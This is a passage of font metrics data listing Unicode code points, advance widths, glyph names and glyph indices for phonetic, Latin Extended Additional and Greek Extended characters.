U 7438 ; WX 650 ; N uni1D0E ; G 2166
U 7439 ; WX 612 ; N uni1D0F ; G 2167
U 7440 ; WX 550 ; N uni1D10 ; G 2168
U 7441 ; WX 684 ; N uni1D11 ; G 2169
U 7442 ; WX 684 ; N uni1D12 ; G 2170
U 7443 ; WX 684 ; N uni1D13 ; G 2171
U 7444 ; WX 1023 ; N uni1D14 ; G 2172
U 7446 ; WX 612 ; N uni1D16 ; G 2173
U 7447 ; WX 612 ; N uni1D17 ; G 2174
U 7448 ; WX 524 ; N uni1D18 ; G 2175
U 7449 ; WX 602 ; N uni1D19 ; G 2176
U 7450 ; WX 602 ; N uni1D1A ; G 2177
U 7451 ; WX 583 ; N uni1D1B ; G 2178
U 7452 ; WX 574 ; N uni1D1C ; G 2179
U 7453 ; WX 737 ; N uni1D1D ; G 2180
U 7454 ; WX 948 ; N uni1D1E ; G 2181
U 7455 ; WX 638 ; N uni1D1F ; G 2182
U 7456 ; WX 592 ; N uni1D20 ; G 2183
U 7457 ; WX 818 ; N uni1D21 ; G 2184
U 7458 ; WX 525 ; N uni1D22 ; G 2185
U 7459 ; WX 526 ; N uni1D23 ; G 2186
U 7462 ; WX 583 ; N uni1D26 ; G 2187
U 7463 ; WX 592 ; N uni1D27 ; G 2188
U 7464 ; WX 564 ; N uni1D28 ; G 2189
U 7465 ; WX 524 ; N uni1D29 ; G 2190
U 7466 ; WX 590 ; N uni1D2A ; G 2191
U 7467 ; WX 639 ; N uni1D2B ; G 2192
U 7468 ; WX 431 ; N uni1D2C ; G 2193
U 7469 ; WX 613 ; N uni1D2D ; G 2194
U 7470 ; WX 432 ; N uni1D2E ; G 2195
U 7472 ; WX 485 ; N uni1D30 ; G 2196
U 7473 ; WX 398 ; N uni1D31 ; G 2197
U 7474 ; WX 398 ; N uni1D32 ; G 2198
U 7475 ; WX 488 ; N uni1D33 ; G 2199
U 7476 ; WX 474 ; N uni1D34 ; G 2200
U 7477 ; WX 186 ; N uni1D35 ; G 2201
U 7478 ; WX 186 ; N uni1D36 ; G 2202
U 7479 ; WX 413 ; N uni1D37 ; G 2203
U 7480 ; WX 351 ; N uni1D38 ; G 2204
U 7481 ; WX 543 ; N uni1D39 ; G 2205
U 7482 ; WX 471 ; N uni1D3A ; G 2206
U 7483 ; WX 471 ; N uni1D3B ; G 2207
U 7484 ; WX 496 ; N uni1D3C ; G 2208
U 7485 ; WX 439 ; N uni1D3D ; G 2209
U 7486 ; WX 380 ; N uni1D3E ; G 2210
U 7487 ; WX 438 ; N uni1D3F ; G 2211
U 7488 ; WX 385 ; N uni1D40 ; G 2212
U 7489 ; WX 461 ; N uni1D41 ; G 2213
U 7490 ; WX 623 ; N uni1D42 ; G 2214
U 7491 ; WX 392 ; N uni1D43 ; G 2215
U 7492 ; WX 392 ; N uni1D44 ; G 2216
U 7493 ; WX 405 ; N uni1D45 ; G 2217
U 7494 ; WX 648 ; N uni1D46 ; G 2218
U 7495 ; WX 428 ; N uni1D47 ; G 2219
U 7496 ; WX 405 ; N uni1D48 ; G 2220
U 7497 ; WX 417 ; N uni1D49 ; G 2221
U 7498 ; WX 417 ; N uni1D4A ; G 2222
U 7499 ; WX 360 ; N uni1D4B ; G 2223
U 7500 ; WX 359 ; N uni1D4C ; G 2224
U 7501 ; WX 405 ; N uni1D4D ; G 2225
U 7502 ; WX 179 ; N uni1D4E ; G 2226
U 7503 ; WX 426 ; N uni1D4F ; G 2227
U 7504 ; WX 623 ; N uni1D50 ; G 2228
U 7505 ; WX 409 ; N uni1D51 ; G 2229
U 7506 ; WX 414 ; N uni1D52 ; G 2230
U 7507 ; WX 370 ; N uni1D53 ; G 2231
U 7508 ; WX 414 ; N uni1D54 ; G 2232
U 7509 ; WX 414 ; N uni1D55 ; G 2233
U 7510 ; WX 428 ; N uni1D56 ; G 2234
U 7511 ; WX 295 ; N uni1D57 ; G 2235
U 7512 ; WX 405 ; N uni1D58 ; G 2236
U 7513 ; WX 470 ; N uni1D59 ; G 2237
U 7514 ; WX 623 ; N uni1D5A ; G 2238
U 7515 ; WX 417 ; N uni1D5B ; G 2239
U 7517 ; WX 402 ; N uni1D5D ; G 2240
U 7518 ; WX 373 ; N uni1D5E ; G 2241
U 7519 ; WX 385 ; N uni1D5F ; G 2242
U 7520 ; WX 416 ; N uni1D60 ; G 2243
U 7521 ; WX 364 ; N uni1D61 ; G 2244
U 7522 ; WX 179 ; N uni1D62 ; G 2245
U 7523 ; WX 259 ; N uni1D63 ; G 2246
U 7524 ; WX 405 ; N uni1D64 ; G 2247
U 7525 ; WX 417 ; N uni1D65 ; G 2248
U 7526 ; WX 402 ; N uni1D66 ; G 2249
U 7527 ; WX 373 ; N uni1D67 ; G 2250
U 7528 ; WX 412 ; N uni1D68 ; G 2251
U 7529 ; WX 416 ; N uni1D69 ; G 2252
U 7530 ; WX 364 ; N uni1D6A ; G 2253
U 7543 ; WX 635 ; N uni1D77 ; G 2254
U 7544 ; WX 474 ; N uni1D78 ; G 2255
U 7547 ; WX 372 ; N uni1D7B ; G 2256
U 7549 ; WX 667 ; N uni1D7D ; G 2257
U 7557 ; WX 278 ; N uni1D85 ; G 2258
U 7579 ; WX 405 ; N uni1D9B ; G 2259
U 7580 ; WX 370 ; N uni1D9C ; G 2260
U 7581 ; WX 370 ; N uni1D9D ; G 2261
U 7582 ; WX 414 ; N uni1D9E ; G 2262
U 7583 ; WX 360 ; N uni1D9F ; G 2263
U 7584 ; WX 296 ; N uni1DA0 ; G 2264
U 7585 ; WX 233 ; N uni1DA1 ; G 2265
U 7586 ; WX 405 ; N uni1DA2 ; G 2266
U 7587 ; WX 405 ; N uni1DA3 ; G 2267
U 7588 ; WX 261 ; N uni1DA4 ; G 2268
U 7589 ; WX 250 ; N uni1DA5 ; G 2269
U 7590 ; WX 261 ; N uni1DA6 ; G 2270
U 7591 ; WX 261 ; N uni1DA7 ; G 2271
U 7592 ; WX 234 ; N uni1DA8 ; G 2272
U 7593 ; WX 250 ; N uni1DA9 ; G 2273
U 7594 ; WX 235 ; N uni1DAA ; G 2274
U 7595 ; WX 376 ; N uni1DAB ; G 2275
U 7596 ; WX 623 ; N uni1DAC ; G 2276
U 7597 ; WX 623 ; N uni1DAD ; G 2277
U 7598 ; WX 411 ; N uni1DAE ; G 2278
U 7599 ; WX 479 ; N uni1DAF ; G 2279
U 7600 ; WX 409 ; N uni1DB0 ; G 2280
U 7601 ; WX 414 ; N uni1DB1 ; G 2281
U 7602 ; WX 414 ; N uni1DB2 ; G 2282
U 7603 ; WX 360 ; N uni1DB3 ; G 2283
U 7604 ; WX 287 ; N uni1DB4 ; G 2284
U 7605 ; WX 295 ; N uni1DB5 ; G 2285
U 7606 ; WX 508 ; N uni1DB6 ; G 2286
U 7607 ; WX 418 ; N uni1DB7 ; G 2287
U 7608 ; WX 361 ; N uni1DB8 ; G 2288
U 7609 ; WX 406 ; N uni1DB9 ; G 2289
U 7610 ; WX 417 ; N uni1DBA ; G 2290
U 7611 ; WX 366 ; N uni1DBB ; G 2291
U 7612 ; WX 437 ; N uni1DBC ; G 2292
U 7613 ; WX 366 ; N uni1DBD ; G 2293
U 7614 ; WX 392 ; N uni1DBE ; G 2294
U 7615 ; WX 414 ; N uni1DBF ; G 2295
U 7620 ; WX 0 ; N uni1DC4 ; G 2296
U 7621 ; WX 0 ; N uni1DC5 ; G 2297
U 7622 ; WX 0 ; N uni1DC6 ; G 2298
U 7623 ; WX 0 ; N uni1DC7 ; G 2299
U 7624 ; WX 0 ; N uni1DC8 ; G 2300
U 7625 ; WX 0 ; N uni1DC9 ; G 2301
U 7680 ; WX 684 ; N uni1E00 ; G 2302
U 7681 ; WX 613 ; N uni1E01 ; G 2303
U 7682 ; WX 686 ; N uni1E02 ; G 2304
U 7683 ; WX 635 ; N uni1E03 ; G 2305
U 7684 ; WX 686 ; N uni1E04 ; G 2306
U 7685 ; WX 635 ; N uni1E05 ; G 2307
U 7686 ; WX 686 ; N uni1E06 ; G 2308
U 7687 ; WX 635 ; N uni1E07 ; G 2309
U 7688 ; WX 698 ; N uni1E08 ; G 2310
U 7689 ; WX 550 ; N uni1E09 ; G 2311
U 7690 ; WX 770 ; N uni1E0A ; G 2312
U 7691 ; WX 635 ; N uni1E0B ; G 2313
U 7692 ; WX 770 ; N uni1E0C ; G 2314
U 7693 ; WX 635 ; N uni1E0D ; G 2315
U 7694 ; WX 770 ; N uni1E0E ; G 2316
U 7695 ; WX 635 ; N uni1E0F ; G 2317
U 7696 ; WX 770 ; N uni1E10 ; G 2318
U 7697 ; WX 635 ; N uni1E11 ; G 2319
U 7698 ; WX 770 ; N uni1E12 ; G 2320
U 7699 ; WX 635 ; N uni1E13 ; G 2321
U 7700 ; WX 632 ; N uni1E14 ; G 2322
U 7701 ; WX 615 ; N uni1E15 ; G 2323
U 7702 ; WX 632 ; N uni1E16 ; G 2324
U 7703 ; WX 615 ; N uni1E17 ; G 2325
U 7704 ; WX 632 ; N uni1E18 ; G 2326
U 7705 ; WX 615 ; N uni1E19 ; G 2327
U 7706 ; WX 632 ; N uni1E1A ; G 2328
U 7707 ; WX 615 ; N uni1E1B ; G 2329
U 7708 ; WX 632 ; N uni1E1C ; G 2330
U 7709 ; WX 615 ; N uni1E1D ; G 2331
U 7710 ; WX 575 ; N uni1E1E ; G 2332
U 7711 ; WX 352 ; N uni1E1F ; G 2333
U 7712 ; WX 775 ; N uni1E20 ; G 2334
U 7713 ; WX 635 ; N uni1E21 ; G 2335
U 7714 ; WX 752 ; N uni1E22 ; G 2336
U 7715 ; WX 634 ; N uni1E23 ; G 2337
U 7716 ; WX 752 ; N uni1E24 ; G 2338
U 7717 ; WX 634 ; N uni1E25 ; G 2339
U 7718 ; WX 752 ; N uni1E26 ; G 2340
U 7719 ; WX 634 ; N uni1E27 ; G 2341
U 7720 ; WX 752 ; N uni1E28 ; G 2342
U 7721 ; WX 634 ; N uni1E29 ; G 2343
U 7722 ; WX 752 ; N uni1E2A ; G 2344
U 7723 ; WX 634 ; N uni1E2B ; G 2345
U 7724 ; WX 295 ; N uni1E2C ; G 2346
U 7725 ; WX 278 ; N uni1E2D ; G 2347
U 7726 ; WX 295 ; N uni1E2E ; G 2348
U 7727 ; WX 278 ; N uni1E2F ; G 2349
U 7728 ; WX 656 ; N uni1E30 ; G 2350
U 7729 ; WX 579 ; N uni1E31 ; G 2351
U 7730 ; WX 656 ; N uni1E32 ; G 2352
U 7731 ; WX 579 ; N uni1E33 ; G 2353
U 7732 ; WX 656 ; N uni1E34 ; G 2354
U 7733 ; WX 579 ; N uni1E35 ; G 2355
U 7734 ; WX 557 ; N uni1E36 ; G 2356
U 7735 ; WX 288 ; N uni1E37 ; G 2357
U 7736 ; WX 557 ; N uni1E38 ; G 2358
U 7737 ; WX 288 ; N uni1E39 ; G 2359
U 7738 ; WX 557 ; N uni1E3A ; G 2360
U 7739 ; WX 278 ; N uni1E3B ; G 2361
U 7740 ; WX 557 ; N uni1E3C ; G 2362
U 7741 ; WX 278 ; N uni1E3D ; G 2363
U 7742 ; WX 863 ; N uni1E3E ; G 2364
U 7743 ; WX 974 ; N uni1E3F ; G 2365
U 7744 ; WX 863 ; N uni1E40 ; G 2366
U 7745 ; WX 974 ; N uni1E41 ; G 2367
U 7746 ; WX 863 ; N uni1E42 ; G 2368
U 7747 ; WX 974 ; N uni1E43 ; G 2369
U 7748 ; WX 748 ; N uni1E44 ; G 2370
U 7749 ; WX 634 ; N uni1E45 ; G 2371
U 7750 ; WX 748 ; N uni1E46 ; G 2372
U 7751 ; WX 634 ; N uni1E47 ; G 2373
U 7752 ; WX 748 ; N uni1E48 ; G 2374
U 7753 ; WX 634 ; N uni1E49 ; G 2375
U 7754 ; WX 748 ; N uni1E4A ; G 2376
U 7755 ; WX 634 ; N uni1E4B ; G 2377
U 7756 ; WX 787 ; N uni1E4C ; G 2378
U 7757 ; WX 612 ; N uni1E4D ; G 2379
U 7758 ; WX 787 ; N uni1E4E ; G 2380
U 7759 ; WX 612 ; N uni1E4F ; G 2381
U 7760 ; WX 787 ; N uni1E50 ; G 2382
U 7761 ; WX 612 ; N uni1E51 ; G 2383
U 7762 ; WX 787 ; N uni1E52 ; G 2384
U 7763 ; WX 612 ; N uni1E53 ; G 2385
U 7764 ; WX 603 ; N uni1E54 ; G 2386
U 7765 ; WX 635 ; N uni1E55 ; G 2387
U 7766 ; WX 603 ; N uni1E56 ; G 2388
U 7767 ; WX 635 ; N uni1E57 ; G 2389
U 7768 ; WX 695 ; N uni1E58 ; G 2390
U 7769 ; WX 411 ; N uni1E59 ; G 2391
U 7770 ; WX 695 ; N uni1E5A ; G 2392
U 7771 ; WX 411 ; N uni1E5B ; G 2393
U 7772 ; WX 695 ; N uni1E5C ; G 2394
U 7773 ; WX 411 ; N uni1E5D ; G 2395
U 7774 ; WX 695 ; N uni1E5E ; G 2396
U 7775 ; WX 411 ; N uni1E5F ; G 2397
U 7776 ; WX 635 ; N uni1E60 ; G 2398
U 7777 ; WX 521 ; N uni1E61 ; G 2399
U 7778 ; WX 635 ; N uni1E62 ; G 2400
U 7779 ; WX 521 ; N uni1E63 ; G 2401
U 7780 ; WX 635 ; N uni1E64 ; G 2402
U 7781 ; WX 521 ; N uni1E65 ; G 2403
U 7782 ; WX 635 ; N uni1E66 ; G 2404
U 7783 ; WX 521 ; N uni1E67 ; G 2405
U 7784 ; WX 635 ; N uni1E68 ; G 2406
U 7785 ; WX 521 ; N uni1E69 ; G 2407
U 7786 ; WX 611 ; N uni1E6A ; G 2408
U 7787 ; WX 392 ; N uni1E6B ; G 2409
U 7788 ; WX 611 ; N uni1E6C ; G 2410
U 7789 ; WX 392 ; N uni1E6D ; G 2411
U 7790 ; WX 611 ; N uni1E6E ; G 2412
U 7791 ; WX 392 ; N uni1E6F ; G 2413
U 7792 ; WX 611 ; N uni1E70 ; G 2414
U 7793 ; WX 392 ; N uni1E71 ; G 2415
U 7794 ; WX 732 ; N uni1E72 ; G 2416
U 7795 ; WX 634 ; N uni1E73 ; G 2417
U 7796 ; WX 732 ; N uni1E74 ; G 2418
U 7797 ; WX 634 ; N uni1E75 ; G 2419
U 7798 ; WX 732 ; N uni1E76 ; G 2420
U 7799 ; WX 634 ; N uni1E77 ; G 2421
U 7800 ; WX 732 ; N uni1E78 ; G 2422
U 7801 ; WX 634 ; N uni1E79 ; G 2423
U 7802 ; WX 732 ; N uni1E7A ; G 2424
U 7803 ; WX 634 ; N uni1E7B ; G 2425
U 7804 ; WX 684 ; N uni1E7C ; G 2426
U 7805 ; WX 592 ; N uni1E7D ; G 2427
U 7806 ; WX 684 ; N uni1E7E ; G 2428
U 7807 ; WX 592 ; N uni1E7F ; G 2429
U 7808 ; WX 989 ; N Wgrave ; G 2430
U 7809 ; WX 818 ; N wgrave ; G 2431
U 7810 ; WX 989 ; N Wacute ; G 2432
U 7811 ; WX 818 ; N wacute ; G 2433
U 7812 ; WX 989 ; N Wdieresis ; G 2434
U 7813 ; WX 818 ; N wdieresis ; G 2435
U 7814 ; WX 989 ; N uni1E86 ; G 2436
U 7815 ; WX 818 ; N uni1E87 ; G 2437
U 7816 ; WX 989 ; N uni1E88 ; G 2438
U 7817 ; WX 818 ; N uni1E89 ; G 2439
U 7818 ; WX 685 ; N uni1E8A ; G 2440
U 7819 ; WX 592 ; N uni1E8B ; G 2441
U 7820 ; WX 685 ; N uni1E8C ; G 2442
U 7821 ; WX 592 ; N uni1E8D ; G 2443
U 7822 ; WX 611 ; N uni1E8E ; G 2444
U 7823 ; WX 592 ; N uni1E8F ; G 2445
U 7824 ; WX 685 ; N uni1E90 ; G 2446
U 7825 ; WX 525 ; N uni1E91 ; G 2447
U 7826 ; WX 685 ; N uni1E92 ; G 2448
U 7827 ; WX 525 ; N uni1E93 ; G 2449
U 7828 ; WX 685 ; N uni1E94 ; G 2450
U 7829 ; WX 525 ; N uni1E95 ; G 2451
U 7830 ; WX 634 ; N uni1E96 ; G 2452
U 7831 ; WX 392 ; N uni1E97 ; G 2453
U 7832 ; WX 818 ; N uni1E98 ; G 2454
U 7833 ; WX 592 ; N uni1E99 ; G 2455
U 7834 ; WX 613 ; N uni1E9A ; G 2456
U 7835 ; WX 352 ; N uni1E9B ; G 2457
U 7836 ; WX 352 ; N uni1E9C ; G 2458
U 7837 ; WX 352 ; N uni1E9D ; G 2459
U 7838 ; WX 769 ; N uni1E9E ; G 2460
U 7839 ; WX 612 ; N uni1E9F ; G 2461
U 7840 ; WX 684 ; N uni1EA0 ; G 2462
U 7841 ; WX 613 ; N uni1EA1 ; G 2463
U 7842 ; WX 684 ; N uni1EA2 ; G 2464
U 7843 ; WX 613 ; N uni1EA3 ; G 2465
U 7844 ; WX 684 ; N uni1EA4 ; G 2466
U 7845 ; WX 613 ; N uni1EA5 ; G 2467
U 7846 ; WX 684 ; N uni1EA6 ; G 2468
U 7847 ; WX 613 ; N uni1EA7 ; G 2469
U 7848 ; WX 684 ; N uni1EA8 ; G 2470
U 7849 ; WX 613 ; N uni1EA9 ; G 2471
U 7850 ; WX 684 ; N uni1EAA ; G 2472
U 7851 ; WX 613 ; N uni1EAB ; G 2473
U 7852 ; WX 684 ; N uni1EAC ; G 2474
U 7853 ; WX 613 ; N uni1EAD ; G 2475
U 7854 ; WX 684 ; N uni1EAE ; G 2476
U 7855 ; WX 613 ; N uni1EAF ; G 2477
U 7856 ; WX 684 ; N uni1EB0 ; G 2478
U 7857 ; WX 613 ; N uni1EB1 ; G 2479
U 7858 ; WX 684 ; N uni1EB2 ; G 2480
U 7859 ; WX 613 ; N uni1EB3 ; G 2481
U 7860 ; WX 684 ; N uni1EB4 ; G 2482
U 7861 ; WX 613 ; N uni1EB5 ; G 2483
U 7862 ; WX 684 ; N uni1EB6 ; G 2484
U 7863 ; WX 613 ; N uni1EB7 ; G 2485
U 7864 ; WX 632 ; N uni1EB8 ; G 2486
U 7865 ; WX 615 ; N uni1EB9 ; G 2487
U 7866 ; WX 632 ; N uni1EBA ; G 2488
U 7867 ; WX 615 ; N uni1EBB ; G 2489
U 7868 ; WX 632 ; N uni1EBC ; G 2490
U 7869 ; WX 615 ; N uni1EBD ; G 2491
U 7870 ; WX 632 ; N uni1EBE ; G 2492
U 7871 ; WX 615 ; N uni1EBF ; G 2493
U 7872 ; WX 632 ; N uni1EC0 ; G 2494
U 7873 ; WX 615 ; N uni1EC1 ; G 2495
U 7874 ; WX 632 ; N uni1EC2 ; G 2496
U 7875 ; WX 615 ; N uni1EC3 ; G 2497
U 7876 ; WX 632 ; N uni1EC4 ; G 2498
U 7877 ; WX 615 ; N uni1EC5 ; G 2499
U 7878 ; WX 632 ; N uni1EC6 ; G 2500
U 7879 ; WX 615 ; N uni1EC7 ; G 2501
U 7880 ; WX 295 ; N uni1EC8 ; G 2502
U 7881 ; WX 278 ; N uni1EC9 ; G 2503
U 7882 ; WX 295 ; N uni1ECA ; G 2504
U 7883 ; WX 278 ; N uni1ECB ; G 2505
U 7884 ; WX 787 ; N uni1ECC ; G 2506
U 7885 ; WX 612 ; N uni1ECD ; G 2507
U 7886 ; WX 787 ; N uni1ECE ; G 2508
U 7887 ; WX 612 ; N uni1ECF ; G 2509
U 7888 ; WX 787 ; N uni1ED0 ; G 2510
U 7889 ; WX 612 ; N uni1ED1 ; G 2511
U 7890 ; WX 787 ; N uni1ED2 ; G 2512
U 7891 ; WX 612 ; N uni1ED3 ; G 2513
U 7892 ; WX 787 ; N uni1ED4 ; G 2514
U 7893 ; WX 612 ; N uni1ED5 ; G 2515
U 7894 ; WX 787 ; N uni1ED6 ; G 2516
U 7895 ; WX 612 ; N uni1ED7 ; G 2517
U 7896 ; WX 787 ; N uni1ED8 ; G 2518
U 7897 ; WX 612 ; N uni1ED9 ; G 2519
U 7898 ; WX 913 ; N uni1EDA ; G 2520
U 7899 ; WX 612 ; N uni1EDB ; G 2521
U 7900 ; WX 913 ; N uni1EDC ; G 2522
U 7901 ; WX 612 ; N uni1EDD ; G 2523
U 7902 ; WX 913 ; N uni1EDE ; G 2524
U 7903 ; WX 612 ; N uni1EDF ; G 2525
U 7904 ; WX 913 ; N uni1EE0 ; G 2526
U 7905 ; WX 612 ; N uni1EE1 ; G 2527
U 7906 ; WX 913 ; N uni1EE2 ; G 2528
U 7907 ; WX 612 ; N uni1EE3 ; G 2529
U 7908 ; WX 732 ; N uni1EE4 ; G 2530
U 7909 ; WX 634 ; N uni1EE5 ; G 2531
U 7910 ; WX 732 ; N uni1EE6 ; G 2532
U 7911 ; WX 634 ; N uni1EE7 ; G 2533
U 7912 ; WX 858 ; N uni1EE8 ; G 2534
U 7913 ; WX 634 ; N uni1EE9 ; G 2535
U 7914 ; WX 858 ; N uni1EEA ; G 2536
U 7915 ; WX 634 ; N uni1EEB ; G 2537
U 7916 ; WX 858 ; N uni1EEC ; G 2538
U 7917 ; WX 634 ; N uni1EED ; G 2539
U 7918 ; WX 858 ; N uni1EEE ; G 2540
U 7919 ; WX 634 ; N uni1EEF ; G 2541
U 7920 ; WX 858 ; N uni1EF0 ; G 2542
U 7921 ; WX 634 ; N uni1EF1 ; G 2543
U 7922 ; WX 611 ; N Ygrave ; G 2544
U 7923 ; WX 592 ; N ygrave ; G 2545
U 7924 ; WX 611 ; N uni1EF4 ; G 2546
U 7925 ; WX 592 ; N uni1EF5 ; G 2547
U 7926 ; WX 611 ; N uni1EF6 ; G 2548
U 7927 ; WX 592 ; N uni1EF7 ; G 2549
U 7928 ; WX 611 ; N uni1EF8 ; G 2550
U 7929 ; WX 592 ; N uni1EF9 ; G 2551
U 7930 ; WX 769 ; N uni1EFA ; G 2552
U 7931 ; WX 477 ; N uni1EFB ; G 2553
U 7936 ; WX 659 ; N uni1F00 ; G 2554
U 7937 ; WX 659 ; N uni1F01 ; G 2555
U 7938 ; WX 659 ; N uni1F02 ; G 2556
U 7939 ; WX 659 ; N uni1F03 ; G 2557
U 7940 ; WX 659 ; N uni1F04 ; G 2558
U 7941 ; WX 659 ; N uni1F05 ; G 2559
U 7942 ; WX 659 ; N uni1F06 ; G 2560
U 7943 ; WX 659 ; N uni1F07 ; G 2561
U 7944 ; WX 684 ; N uni1F08 ; G 2562
U 7945 ; WX 684 ; N uni1F09 ; G 2563
U 7946 ; WX 877 ; N uni1F0A ; G 2564
U 7947 ; WX 877 ; N uni1F0B ; G 2565
U 7948 ; WX 769 ; N uni1F0C ; G 2566
U 7949 ; WX 801 ; N uni1F0D ; G 2567
U 7950 ; WX 708 ; N uni1F0E ; G 2568
U 7951 ; WX 743 ; N uni1F0F ; G 2569
U 7952 ; WX 541 ; N uni1F10 ; G 2570
U 7953 ; WX 541 ; N uni1F11 ; G 2571
U 7954 ; WX 541 ; N uni1F12 ; G 2572
U 7955 ; WX 541 ; N uni1F13 ; G 2573
U 7956 ; WX 541 ; N uni1F14 ; G 2574
U 7957 ; WX 541 ; N uni1F15 ; G 2575
U 7960 ; WX 711 ; N uni1F18 ; G 2576
U 7961 ; WX 711 ; N uni1F19 ; G 2577
U 7962 ; WX 966 ; N uni1F1A ; G 2578
U 7963 ; WX 975 ; N uni1F1B ; G 2579
U 7964 ; WX 898 ; N uni1F1C ; G 2580
U 7965 ; WX 928 ; N uni1F1D ; G 2581
U 7968 ; WX 634 ; N uni1F20 ; G 2582
U 7969 ; WX 634 ; N uni1F21 ; G 2583
U 7970 ; WX 634 ; N uni1F22 ; G 2584
U 7971 ; WX 634 ; N uni1F23 ; G 2585
U 7972 ; WX 634 ; N uni1F24 ; G 2586
U 7973 ; WX 634 ; N uni1F25 ; G 2587
U 7974 ; WX 634 ; N uni1F26 ; G 2588
U 7975 ; WX 634 ; N uni1F27 ; G 2589
U 7976 ; WX 837 ; N uni1F28 ; G 2590
U 7977 ; WX 835 ; N uni1F29 ; G 2591
U 7978 ; WX 1086 ; N uni1F2A ; G 2592
U 7979 ; WX 1089 ; N uni1F2B ; G 2593
U 7980 ; WX 1027 ; N uni1F2C ; G 2594
U 7981 ; WX 1051 ; N uni1F2D ; G 2595
U 7982 ; WX 934 ; N uni1F2E ; G 2596
U 7983 ; WX 947 ; N uni1F2F ; G 2597
U 7984 ; WX 338 ; N uni1F30 ; G 2598
U 7985 ; WX 338 ; N uni1F31 ; G 2599
U 7986 ; WX 338 ; N uni1F32 ; G 2600
U 7987 ; WX 338 ; N uni1F33 ; G 2601
U 7988 ; WX 338 ; N uni1F34 ; G 2602
U 7989 ; WX 338 ; N uni1F35 ; G 2603
U 7990 ; WX 338 ; N uni1F36 ; G 2604
U 7991 ; WX 338 ; N uni1F37 ; G 2605
U 7992 ; WX 380 ; N uni1F38 ; G 2606
U 7993 ; WX 374 ; N uni1F39 ; G 2607
U 7994 ; WX 635 ; N uni1F3A ; G 2608
U 7995 ; WX 635 ; N uni1F3B ; G 2609
U 7996 ; WX 570 ; N uni1F3C ; G 2610
U 7997 ; WX 600 ; N uni1F3D ; G 2611
U 7998 ; WX 489 ; N uni1F3E ; G 2612
U 7999 ; WX 493 ; N uni1F3F ; G 2613
U 8000 ; WX 612 ; N uni1F40 ; G 2614
U 8001 ; WX 612 ; N uni1F41 ; G 2615
U 8002 ; WX 612 ; N uni1F42 ; G 2616
U 8003 ; WX 612 ; N uni1F43 ; G 2617
U 8004 ; WX 612 ; N uni1F44 ; G 2618
U 8005 ; WX 612 ; N uni1F45 ; G 2619
U 8008 ; WX 804 ; N uni1F48 ; G 2620
U 8009 ; WX 848 ; N uni1F49 ; G 2621
U 8010 ; WX 1095 ; N uni1F4A ; G 2622
U 8011 ; WX 1100 ; N uni1F4B ; G 2623
U 8012 ; WX 938 ; N uni1F4C ; G 2624
U 8013 ; WX 970 ; N uni1F4D ; G 2625
U 8016 ; WX 579 ; N uni1F50 ; G 2626
U 8017 ; WX 579 ; N uni1F51 ; G 2627
U 8018 ; WX 579 ; N uni1F52 ; G 2628
U 8019 ; WX 579 ; N uni1F53 ; G 2629
U 8020 ; WX 579 ; N uni1F54 ; G 2630
U 8021 ; WX 579 ; N uni1F55 ; G 2631
U 8022 ; WX 579 ; N uni1F56 ; G 2632
U 8023 ; WX 579 ; N uni1F57 ; G 2633
U 8025 ; WX 784 ; N uni1F59 ; G 2634
U 8027 ; WX 998 ; N uni1F5B ; G 2635
U 8029 ; WX 1012 ; N uni1F5D ; G 2636
U 8031 ; WX 897 ; N uni1F5F ; G 2637
U 8032 ; WX 837 ; N uni1F60 ; G 2638
U 8033 ; WX 837 ; N uni1F61 ; G 2639
U 8034 ; WX 837 ; N uni1F62 ; G 2640
U 8035 ; WX 837 ; N uni1F63 ; G 2641
U 8036 ; WX 837 ; N uni1F64 ; G 2642
U 8037 ; WX 837 ; N uni1F65 ; G 2643
U 8038 ; WX 837 ; N uni1F66 ; G 2644
U 8039 ; WX 837 ; N uni1F67 ; G 2645
U 8040 ; WX 802 ; N uni1F68 ; G 2646
U 8041 ; WX 843 ; N uni1F69 ; G 2647
U 8042 ; WX 1089 ; N uni1F6A ; G 2648
U 8043 ; WX 1095 ; N uni1F6B ; G 2649
U 8044 ; WX 946 ; N uni1F6C ; G 2650
U 8045 ; WX 972 ; N uni1F6D ; G 2651
U 8046 ; WX 921 ; N uni1F6E ; G 2652
U 8047 ; WX 952 ; N uni1F6F ; G 2653
U 8048 ; WX 659 ; N uni1F70 ; G 2654
U 8049 ; WX 659 ; N uni1F71 ; G 2655
U 8050 ; WX 541 ; N uni1F72 ; G 2656
U 8051 ; WX 548 ; N uni1F73 ; G 2657
U 8052 ; WX 634 ; N uni1F74 ; G 2658
U 8053 ; WX 654 ; N uni1F75 ; G 2659
U 8054 ; WX 338 ; N uni1F76 ; G 2660
U 8055 ; WX 338 ; N uni1F77 ; G 2661
U 8056 ; WX 612 ; N uni1F78 ; G 2662
U 8057 ; WX 612 ; N uni1F79 ; G 2663
U 8058 ; WX 579 ; N uni1F7A ; G 2664
U 8059 ; WX 579 ; N uni1F7B ; G 2665
U 8060 ; WX 837 ; N uni1F7C ; G 2666
U 8061 ; WX 837 ; N uni1F7D ; G 2667
U 8064 ; WX 659 ; N uni1F80 ; G 2668
U 8065 ; WX 659 ; N uni1F81 ; G 2669
U 8066 ; WX 659 ; N uni1F82 ; G 2670
U 8067 ; WX 659 ; N uni1F83 ; G 2671
U 8068 ; WX 659 ; N uni1F84 ; G 2672
U 8069 ; WX 659 ; N uni1F85 ; G 2673
U 8070 ; WX 659 ; N uni1F86 ; G 2674
U 8071 ; WX 659 ; N uni1F87 ; G 2675
U 8072 ; WX 684 ; N uni1F88 ; G 2676
U 8073 ; WX 684 ; N uni1F89 ; G 2677
U 8074 ; WX 877 ; N uni1F8A ; G 2678
U 8075 ; WX 877 ; N uni1F8B ; G 2679
U 8076 ; WX 769 ; N uni1F8C ; G 2680
U 8077 ; WX 801 ; N uni1F8D ; G 2681
U 8078 ; WX 708 ; N uni1F8E ; G 2682
U 8079 ; WX 743 ; N uni1F8F ; G 2683
U 8080 ; WX 634 ; N uni1F90 ; G 2684
U 8081 ; WX 634 ; N uni1F91 ; G 2685
U 8082 ; WX 634 ; N uni1F92 ; G 2686
U 8083 ; WX 634 ; N uni1F93 ; G 2687
U 8084 ; WX 634 ; N uni1F94 ; G 2688
U 8085 ; WX 634 ; N uni1F95 ; G 2689
U 8086 ; WX 634 ; N uni1F96 ; G 2690
U 8087 ; WX 634 ; N uni1F97 ; G 2691
U 8088 ; WX 837 ; N uni1F98 ; G 2692
U 8089 ; WX 835 ; N uni1F99 ; G 2693
U 8090 ; WX 1086 ; N uni1F9A ; G 2694
U 8091 ; WX 1089 ; N uni1F9B ; G 2695
U 8092 ; WX 1027 ; N uni1F9C ; G 2696
U 8093 ; WX 1051 ; N uni1F9D ; G 2697
